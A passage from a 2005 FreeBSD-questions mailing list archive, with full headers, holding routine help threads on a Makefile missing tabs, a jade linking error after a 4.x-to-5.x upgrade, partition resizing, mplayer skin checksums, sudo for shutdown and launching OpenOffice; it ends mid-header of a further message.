<200502061804.33737.reso3w83@verizon.net> X-Authentication-Info: Submitted using SMTP AUTH at out012.verizon.net from [4.26.84.7] at Sun, 6 Feb 2005 20:08:35 -0600 cc: freebsd-questions@freebsd.org Subject: Re: make file X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 02:08:36 -0000 On Sunday 06 February 2005 06:02 pm, Gert Cuykens wrote: > make file > --------------------------------------------------------------------- >---------------- CC=cc -Wall -g > XCFLAGS=`pkg-config --cflags gtk+-2.0` > XLDFLAGS=`pkg-config --libs gtk+-2.0` > OBJ=ossxmix.o gtkvu.o gtkjoy.o > > ossxmix.o: ossxmix.c > $(CC) $(CFLAGS) $(XCFLAGS) -c -o ossxmix.o ossxmix.c > > gtkvu.o: gtkvu.c > $(CC) $(CFLAGS) $(XCFLAGS) -c -o gtkvu.o gtkvu.c > > gtkjoy.o: gtkjoy.c > $(CC) $(CFLAGS) $(XCFLAGS) -c -o gtkjoy.o gtkjoy.c > > ossxmix: $(OBJ) > $(CC) $(XLDFLAGS) -o ossxmix $(OBJ) > > install: ossxmix > all: ossxmix > clean: rm -f x y z ossxmix *.o core ossxmix core.* > --------------------------------------------------------------------- >--------------------- > > I# make > "Makefile", line 7: Need an operator > "Makefile", line 10: Need an operator > "Makefile", line 13: Need an operator > "Makefile", line 16: Need an operator > make: fatal errors encountered -- cannot continue > I# > > What did i do wrong with the make file ? > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" Missing tabs, need to be like: > ossxmix.o: ossxmix.c > $(CC) $(CFLAGS) $(XCFLAGS) -c -o ossxmix.o ossxmix.c > > gtkvu.o: gtkvu.c > $(CC) $(CFLAGS) $(XCFLAGS) -c -o gtkvu.o gtkvu.c > > gtkjoy.o: gtkjoy.c > $(CC) $(CFLAGS) $(XCFLAGS) -c -o gtkjoy.o gtkjoy.c > > ossxmix: $(OBJ) > $(CC) $(XLDFLAGS) -o ossxmix $(OBJ) -Mike From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 02:08:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 32FF216A4CE for ; Mon, 7 Feb 2005 02:08:57 +0000 (GMT) Received: from relay03.pair.com (relay03.pair.com [209.68.5.17]) by mx1.FreeBSD.org (Postfix) with SMTP id 60DF343D1F for ; Mon, 7 Feb 2005 02:08:56 +0000 (GMT) (envelope-from alejandro@varnet.biz) Received: (qmail 28600 invoked from network); 7 Feb 2005 02:08:55 -0000 Received: from unknown (HELO ale.varnet.bsd) (unknown) by unknown with SMTP; 7 Feb 2005 02:08:55 -0000 X-pair-Authenticated: 200.115.214.206 Date: Sun, 6 Feb 2005 23:09:22 -0300 From: Alejandro Pulver To: freebsd-questions@freebsd.org Message-ID: <20050206230922.5d49a303@ale.varnet.bsd> In-Reply-To: <20050206222318.17b5b2d9@ale.varnet.bsd> References: <20050206222318.17b5b2d9@ale.varnet.bsd> X-Mailer: Sylpheed-Claws 0.9.12b (GTK+ 1.2.10; i386-portbld-freebsd5.3) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: jade error: Undefined symbol "_ZNK6Origin14asEntityOriginEv" X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 02:08:57 -0000 On Sun, 6 Feb 2005 22:23:18 -0300 Alejandro Pulver wrote: > Hello, > > I installed 'docproj-jadetex' to learn how to make Docbook documents (in SGML). When I run 'nsgmls' (texproc/sp) (when doing 'make' on a FreeBSD documentation source, or manually) it outputs the following error: > > /libexec/ld-elf.so.1: /usr/local/lib/libstyle.so.1: Undefined symbol "_ZNK6Origin14asEntityOriginEv > > How do I fix it? Sorry, I made a mistake: the program that generated the error message was 'jade' (port is 'print/jadetex'), not 'nsgmls'. Thanks and Best Regards, Ale From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 02:11:25 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D25B616A4CE for ; Mon, 7 Feb 2005 02:11:25 +0000 (GMT) Received: from smtp800.mail.sc5.yahoo.com (smtp800.mail.sc5.yahoo.com [66.163.168.179]) by mx1.FreeBSD.org (Postfix) with SMTP id 9846343D31 for ; Mon, 7 Feb 2005 02:11:25 +0000 (GMT) (envelope-from donaldj1066@fastmail.fm) Received: from unknown (HELO pres7000.mylan.net) (donaldj@ameritech.net@69.212.18.245 with plain) by smtp800.mail.sc5.yahoo.com with SMTP; 7 Feb 2005 02:11:25 -0000 From: "Donald J. O'Neill" To: freebsd-questions@freebsd.org, Gert Cuykens Date: Sun, 6 Feb 2005 20:10:45 -0600 User-Agent: KMail/1.7.2 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502062010.45718.donaldj1066@fastmail.fm> Subject: Re: make file X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 02:11:25 -0000 On Sunday 06 February 2005 08:02 pm, Gert Cuykens wrote: > make file > --------------------------------------------------------------------- >---------------- CC=cc -Wall -g > XCFLAGS=`pkg-config --cflags gtk+-2.0` > XLDFLAGS=`pkg-config --libs gtk+-2.0` > OBJ=ossxmix.o gtkvu.o gtkjoy.o > > ossxmix.o: ossxmix.c > $(CC) $(CFLAGS) $(XCFLAGS) -c -o ossxmix.o ossxmix.c > > gtkvu.o: gtkvu.c > $(CC) $(CFLAGS) $(XCFLAGS) -c -o gtkvu.o gtkvu.c > > gtkjoy.o: gtkjoy.c > $(CC) $(CFLAGS) $(XCFLAGS) -c -o gtkjoy.o gtkjoy.c > > ossxmix: $(OBJ) > $(CC) $(XLDFLAGS) -o ossxmix $(OBJ) > > install: ossxmix > all: ossxmix > clean: rm -f x y z ossxmix *.o core ossxmix core.* > --------------------------------------------------------------------- >--------------------- > > I# make > "Makefile", line 7: Need an operator > "Makefile", line 10: Need an operator > "Makefile", line 13: Need an operator > "Makefile", line 16: Need an operator > make: fatal errors encountered -- cannot continue > I# > > What did i do wrong with the make file ? > _______________________________________________ You went in and mucked around with it. Leave it alone. What make file are you playing with? What did you do to it? What are you trying to install? what are you trying to accomplish? Don -- Donald J. O'Neill donaldj1066@fastmail.fm I'm not totally useless, I can be used as a bad example. From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 02:13:09 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D333116A4CE for ; Mon, 7 Feb 2005 02:13:09 +0000 (GMT) Received: from clunix.cl.msu.edu (clunix.cl.msu.edu [35.9.2.10]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5A1AA43D39 for ; Mon, 7 Feb 2005 02:13:09 +0000 (GMT) (envelope-from jerrymc@clunix.cl.msu.edu) Received: (from jerrymc@localhost) by clunix.cl.msu.edu (8.11.7p1+Sun/8.11.7) id j172D7G02943; Sun, 6 Feb 2005 21:13:07 -0500 (EST) From: Jerry McAllister Message-Id: <200502070213.j172D7G02943@clunix.cl.msu.edu> To: nuckingfutsto@hotmail.com (GRF .) Date: Sun, 6 Feb 2005 21:13:06 -0500 (EST) In-Reply-To: from "GRF ." at Feb 06, 2005 08:02:04 PM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: Can I Resize A FreeBSD Partition Without losing Data? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 02:13:09 -0000 > > I started to play with WINE and realized I need more space on my FAT32 > partition. I don't want to re-install FreeBSD. Is there a tool like > Partion Magic which will change the size of the FreeBSD filesystem without > losing data? I dont care if it runs In Windows or FreeBSD or if it will > only resize the FreeBSD slice and then I have to use a second tool like > Partition Magic to resize the FAT32 partition. I just don't want to > reinstall FreeBSD. Is there a solution to my problem? Not sure just what your current space is organized like. You seem to be using partition and slice interchangeably, but they are different. Your fat32 would be a slice in FreeBSD. A partition would be a subdivision of a slice. Basically, though, it all depends on where you spare space on the disk resides. Generally, you can use Partition Magic to increase the FAT32 slice without reinstalling FreeBSD only if there is empty - unallocated (eg not in any slice, just ignored) - space contiguously following the fat32 slice. If the empty space is anywhere else or requires any moving of the FreeBSD slice, it is not doable with current tools. Within the FreeBSD slice, you can also possibly expand a partition into unallocated space - but must already be in the slice - if it is contiguous using the growfs utility. It doesn't sound like this is what you are looking for, though, because it doesn't affect the fat32 slice. I don't know quite what the objection to reinstalling FreeBSD is, but it would seem like the easiest way to back up everything of your own that you want to preserve and then rebuild the whole machine from scratch - at least the FreeBSD part. ////jerry > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 02:16:49 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3486116A4CE for ; Mon, 7 Feb 2005 02:16:49 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.200]) by mx1.FreeBSD.org (Postfix) with ESMTP id AC8D643D55 for ; Mon, 7 Feb 2005 02:16:46 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id b11so606368rne for ; Sun, 06 Feb 2005 18:16:46 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=rDIrSXxjsn219Ltre7DwHHMrPVx0duwXxX3Z5eAL72XLSogAboyWEmh6Hb2C6q2RZWFEXLKr1g3kODhnmGJqKRXrRbRgd4j4A2aLrdXImhATwnmTvJJzAuE5hL9b4cmUErIo8aIHfeTHBGG2n8FLqGc53zkZOuZ7cv0eahT29fo= Received: by 10.38.98.65 with SMTP id v65mr306088rnb; Sun, 06 Feb 2005 18:16:45 -0800 (PST) Received: by 10.38.74.23 with HTTP; Sun, 6 Feb 2005 18:16:44 -0800 (PST) Message-ID: Date: Mon, 7 Feb 2005 03:16:44 +0100 From: Gert Cuykens To: "Donald J. O'Neill" In-Reply-To: <200502062001.13581.donaldj1066@fastmail.fm> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <4206C641.5000609@scii.nl> <200502062001.13581.donaldj1066@fastmail.fm> cc: albi cc: freebsd-questions@freebsd.org Subject: Re: xine bus error X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 02:16:49 -0000 On Sun, 6 Feb 2005 20:01:13 -0600, Donald J. O'Neill wrote: > On Sunday 06 February 2005 07:41 pm, Gert Cuykens wrote: > > On Mon, 07 Feb 2005 02:37:05 +0100, albi wrote: > > > Gert Cuykens wrote: > > > >>you could try : > > > >>cd /usr/ports/multimedia/mplayer-skins > > > >>make NO_CHECKSUM=yes install > > > >> > > > >>and then compile mplayer itself > > > > > > > > Will the no check sum only be applied to the skin port only ? > > > > > > yes > > > > > > > PS why does the maintainer not fix the port ? > > > > > > no idea, > > > > > > life is short, time is not cheap etc. > > > > Why do they call it NO_CHECKSUM ? whats wrong with CHECKSUM yes no ? > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to > > "freebsd-questions-unsubscribe@freebsd.org" > Gert, > > The best way of doing this is to use "rm > -r /usr/ports/distfiles/mplayer", then install mplayer-skins, or > portupgrade, or whatever you decide to use; this allows you to download > fresh versions of the skins with the correct file size and the correct > MD5 checksum. > > Don > > PS Your now getting off topic from your original post. > -- > Donald J. O'Neill > donaldj1066@fastmail.fm > > I'm not totally useless, > I can be used as a bad example. > i deleted the distfiles but i still have no mplayer skins From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 02:18:22 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0822716A4CE for ; Mon, 7 Feb 2005 02:18:22 +0000 (GMT) Received: from quark.cs.earlham.edu (cs.earlham.edu [159.28.230.3]) by mx1.FreeBSD.org (Postfix) with ESMTP id 80B8E43D54 for ; Mon, 7 Feb 2005 02:18:21 +0000 (GMT) (envelope-from skylar@cs.earlham.edu) Received: from quark.cs.earlham.edu (localhost.cs.earlham.edu [127.0.0.1]) by quark.cs.earlham.edu (8.13.1/8.12.9) with ESMTP id j172IKVj018718 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 6 Feb 2005 21:18:20 -0500 (EST) (envelope-from skylar@cs.earlham.edu) Received: (from skylar@localhost) by quark.cs.earlham.edu (8.13.1/8.12.9/Submit) id j172IKju018717 for freebsd-questions@freebsd.org; Sun, 6 Feb 2005 21:18:20 -0500 (EST) (envelope-from skylar@cs.earlham.edu) X-Authentication-Warning: quark.cs.earlham.edu: skylar set sender to skylar@quark.cs.earlham.edu using -f Date: Sun, 6 Feb 2005 21:18:20 -0500 From: Skylar Thompson To: freebsd-questions@freebsd.org Message-ID: <20050207021820.GA18575@quark.cs.earlham.edu> Mail-Followup-To: freebsd-questions@freebsd.org References: <200502061646.27199.nedsmailbox2@cox.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="OXfL5xGRrasGEqWY" Content-Disposition: inline In-Reply-To: <200502061646.27199.nedsmailbox2@cox.net> User-Agent: Mutt/1.4.2.1i X-Sender: "Skylar Thompson" X-Accept-Primary-Language: en X-Accept-Secondary-Language: es SMTP-Mailing-Host: quark.cs.earlham.edu X-Operating-System: FreeBSD 4.11-STABLE X-Uptime: 9:17PM up 2 days, 14:33, 15 users, load averages: 0.24, 0.30, 0.24 X-Editor: VIM - Vi IMproved 6.3 (2004 June 7, compiled Aug 26 2004 10:37:04) Subject: Re: Very general shutdown question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Skylar Thompson List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 02:18:22 -0000 --OXfL5xGRrasGEqWY Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Feb 06, 2005 at 04:46:26PM +0000, Ned Harrison wrote: > I run FreeBSD 5.3 on my home PC in a stand alone machine as a desktop. = Is it=20 > possible to set it up so an ordinary user can shut the system? I've crea= ted=20 > a couple of accounts that are not in the wheel group so I can give friend= s=20 > and house guests the chance to play on a non-Microsoft system. I don't = want=20 > to give them root access just to shut it down. >=20 > None of the books which I have discuss using FreeBSD in this way. They a= re=20 > mostly geared to setting up networks running it for businesses. Areas wh= ere=20 > one may not want an ordinary user to be able to shutdown the machine. =20 > However, I prefer having the machine off when I'm not on it. If it's not= =20 > possible that fine I can continue working around it like I do now. sudo(8) is a nice general-purpose utility that gives mortal users superuser access to certain commands. There's a port of it in security/sudo. --=20 -- Skylar Thompson (skylar@cs.earlham.edu) -- http://www.cs.earlham.edu/~skylar/ --OXfL5xGRrasGEqWY Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (FreeBSD) iD8DBQFCBs/ssc4yyULgN4YRAvFSAJ9mEe5YVwRYablQ2mHRQQZscLn4HwCgilKB c5nh5yhgaLji3wIXT7FVaTk= =wQLS -----END PGP SIGNATURE----- --OXfL5xGRrasGEqWY-- From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 02:19:25 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CB43A16A4CE for ; Mon, 7 Feb 2005 02:19:25 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 846DB43D41 for ; Mon, 7 Feb 2005 02:19:25 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id B27BE1C0008C for ; Mon, 7 Feb 2005 03:19:24 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id 9A7861C0008B for ; Mon, 7 Feb 2005 03:19:24 +0100 (CET) X-ME-UUID: 20050207021924632.9A7861C0008B@mwinf1107.wanadoo.fr Date: Mon, 7 Feb 2005 03:19:24 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <912826852.20050207031924@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <675747489.20050206154301@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 02:19:25 -0000 Ted Mittelstaedt writes: [everything snipped] You've confused so many different and indepdent topics in your posts--copyright infringement, access control, editorial control, invasions of privacy, defamation, and the First Amendment, to name a few--that I cannot respond to it coherently. Perhaps it's best to just drop the discussion. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 02:19:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D5B9016A4CE for ; Mon, 7 Feb 2005 02:19:56 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id A7B4C43D2D for ; Mon, 7 Feb 2005 02:19:55 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 31FD251255; Sun, 6 Feb 2005 18:19:51 -0800 (PST) Date: Sun, 6 Feb 2005 18:19:51 -0800 From: Kris Kennaway To: Alejandro Pulver Message-ID: <20050207021951.GA29985@xor.obsecurity.org> References: <20050206222318.17b5b2d9@ale.varnet.bsd> <20050206230922.5d49a303@ale.varnet.bsd> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Q68bSM7Ycu6FN28Q" Content-Disposition: inline In-Reply-To: <20050206230922.5d49a303@ale.varnet.bsd> User-Agent: Mutt/1.4.2.1i cc: freebsd-questions@freebsd.org Subject: Re: jade error: Undefined symbol "_ZNK6Origin14asEntityOriginEv" X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 02:19:57 -0000 --Q68bSM7Ycu6FN28Q Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Feb 06, 2005 at 11:09:22PM -0300, Alejandro Pulver wrote: > On Sun, 6 Feb 2005 22:23:18 -0300 > Alejandro Pulver wrote: >=20 > > Hello, > >=20 > > I installed 'docproj-jadetex' to learn how to make Docbook documents (i= n SGML). When I run 'nsgmls' (texproc/sp) (when doing 'make' on a FreeBSD d= ocumentation source, or manually) it outputs the following error: > >=20 > > /libexec/ld-elf.so.1: /usr/local/lib/libstyle.so.1: Undefined symbol "_= ZNK6Origin14asEntityOriginEv > > > > How do I fix it? >=20 > Sorry, I made a mistake: the program that generated the error message was= 'jade' (port is 'print/jadetex'), not 'nsgmls'. You forgot to mention details about your FreeBSD installation. Did you formerly run FreeBSD 4.x and then update to 5.x? If so, you need to rebuild your ports, because C++ code compiled with gcc 2.95 (which is the version in 4.x) is incompatible with code compiled with gcc 3.4 (in 5.3). portupgrade is the easiest way to do this, e.g. with the -P switch. Kris --Q68bSM7Ycu6FN28Q Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCBtBGWry0BWjoQKURArcqAKD0aW2vCe/FBMzpj5QvSE23YegCRACgwE8D xF+ExGVdG1hR8R/mcXGrDas= =b2Ft -----END PGP SIGNATURE----- --Q68bSM7Ycu6FN28Q-- From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 02:21:54 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 37A1B16A4CE for ; Mon, 7 Feb 2005 02:21:54 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.200]) by mx1.FreeBSD.org (Postfix) with ESMTP id 720EB43D41 for ; Mon, 7 Feb 2005 02:21:52 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so676321rne for ; Sun, 06 Feb 2005 18:21:52 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=btEG+MDAEZyyjU26Oodi5ni2UBW3///7sNTb7jVJLBYiikj/MQF4qe/SOvrVocGbn9cRRP2DKv9rOMuwNXyfFon1LvPG7VO2URNfIP6bS81mSHuLK1mCG+JR2O6XldcXy1Bz9qAFTcc0LwgYXB6TsIy/TpZjwCVVwFeigJynDpc= Received: by 10.38.149.45 with SMTP id w45mr84855rnd; Sun, 06 Feb 2005 18:20:02 -0800 (PST) Received: by 10.38.74.23 with HTTP; Sun, 6 Feb 2005 18:20:02 -0800 (PST) Message-ID: Date: Mon, 7 Feb 2005 03:20:02 +0100 From: Gert Cuykens To: "Donald J. O'Neill" In-Reply-To: <200502062010.45718.donaldj1066@fastmail.fm> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <200502062010.45718.donaldj1066@fastmail.fm> cc: freebsd-questions@freebsd.org Subject: Re: make file X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 02:21:54 -0000 On Sun, 6 Feb 2005 20:10:45 -0600, Donald J. O'Neill wrote: > On Sunday 06 February 2005 08:02 pm, Gert Cuykens wrote: > > make file > > --------------------------------------------------------------------- > >---------------- CC=cc -Wall -g > > XCFLAGS=`pkg-config --cflags gtk+-2.0` > > XLDFLAGS=`pkg-config --libs gtk+-2.0` > > OBJ=ossxmix.o gtkvu.o gtkjoy.o > > > > ossxmix.o: ossxmix.c > > $(CC) $(CFLAGS) $(XCFLAGS) -c -o ossxmix.o ossxmix.c > > > > gtkvu.o: gtkvu.c > > $(CC) $(CFLAGS) $(XCFLAGS) -c -o gtkvu.o gtkvu.c > > > > gtkjoy.o: gtkjoy.c > > $(CC) $(CFLAGS) $(XCFLAGS) -c -o gtkjoy.o gtkjoy.c > > > > ossxmix: $(OBJ) > > $(CC) $(XLDFLAGS) -o ossxmix $(OBJ) > > > > install: ossxmix > > all: ossxmix > > clean: rm -f x y z ossxmix *.o core ossxmix core.* > > --------------------------------------------------------------------- > >--------------------- > > > > I# make > > "Makefile", line 7: Need an operator > > "Makefile", line 10: Need an operator > > "Makefile", line 13: Need an operator > > "Makefile", line 16: Need an operator > > make: fatal errors encountered -- cannot continue > > I# > > > > What did i do wrong with the make file ? > > _______________________________________________ > > You went in and mucked around with it. Leave it alone. > > What make file are you playing with? What did you do to it? What are you > trying to install? what are you trying to accomplish? > > Don > > -- > Donald J. O'Neill > donaldj1066@fastmail.fm > > I'm not totally useless, > I can be used as a bad example. lol i am trying to make a nice gtk2 gui for the ossxmixer :) From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 02:28:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BD32316A4CE for ; Mon, 7 Feb 2005 02:28:10 +0000 (GMT) Received: from clunix.cl.msu.edu (clunix.cl.msu.edu [35.9.2.10]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3542843D53 for ; Mon, 7 Feb 2005 02:28:10 +0000 (GMT) (envelope-from jerrymc@clunix.cl.msu.edu) Received: (from jerrymc@localhost) by clunix.cl.msu.edu (8.11.7p1+Sun/8.11.7) id j172S5d03017; Sun, 6 Feb 2005 21:28:05 -0500 (EST) From: Jerry McAllister Message-Id: <200502070228.j172S5d03017@clunix.cl.msu.edu> To: nedsmailbox2@cox.net (Ned Harrison) Date: Sun, 6 Feb 2005 21:28:04 -0500 (EST) In-Reply-To: <200502061703.55089.nedsmailbox2@cox.net> from "Ned Harrison" at Feb 06, 2005 05:03:54 PM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: Openoffice startup question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 02:28:10 -0000 > > I installed openoffice-1.1.4 via using pkg_add on a package pulled down from > the FreeBSD web cite. It installed with only two minor warnings regarding > out of date packages. Those have been upgraded and pkgdb -F fixed the > dependencies. > > However, the initiall set up instructions don't seam to work. When I type > "openoffice", I get "Command not found" for a response. It doesn't matter > whether I enter the command as an ordinary user or as root. This is true > even when I move to /usr/local/bin where there are several openoffice files. > > Any suggestions on what to do next would be appreciated. I found I had to type 'soffice' or 'swriter', etc. All that after adding /usr/local/OpenOffice1.1/program/ to my path So, the full startup is: /usr/local/OpenOffice1.1/program/soffice It will depend a little on where you have it install and which version you install. I seem to remember getting this hint out of some online article, but I don't remember what it was anymore. Anyway, it amounts to an error in Openoffice documentation as it is installed on FreeBSD. ////jerry > > thanks, > Ned > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 03:24:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4FF3716A4CE for ; Mon, 7 Feb 2005 03:24:28 +0000 (GMT) Received: from crumpet.united-ware.com (ddsl-66-42-172-210.fuse.net [66.42.172.210]) by mx1.FreeBSD.org (Postfix) with ESMTP id B331F43D1D for ; Mon, 7 Feb 2005 03:24:27 +0000 (GMT) (envelope-from mistry.7@osu.edu) Received: from [192.168.1.100] (adsl-68-77-186-245.dsl.wotnoh.ameritech.net [68.77.186.245]) (authenticated bits=0)j172w9mQ056925 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Sun, 6 Feb 2005 21:58:11 -0500 (EST) (envelope-from mistry.7@osu.edu) From: Anish Mistry To: freebsd-questions@freebsd.org Date: Sun, 6 Feb 2005 22:28:09 -0500 User-Agent: KMail/1.7 References: <200502061646.27199.nedsmailbox2@cox.net> In-Reply-To: <200502061646.27199.nedsmailbox2@cox.net> MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart1369244.IWvCuqFg4s"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200502062228.25075.mistry.7@osu.edu> X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.64 X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on crumpet.united-ware.com cc: Ned Harrison Subject: Re: Very general shutdown question X-BeenThere: freebsd-questions@freebsd.org 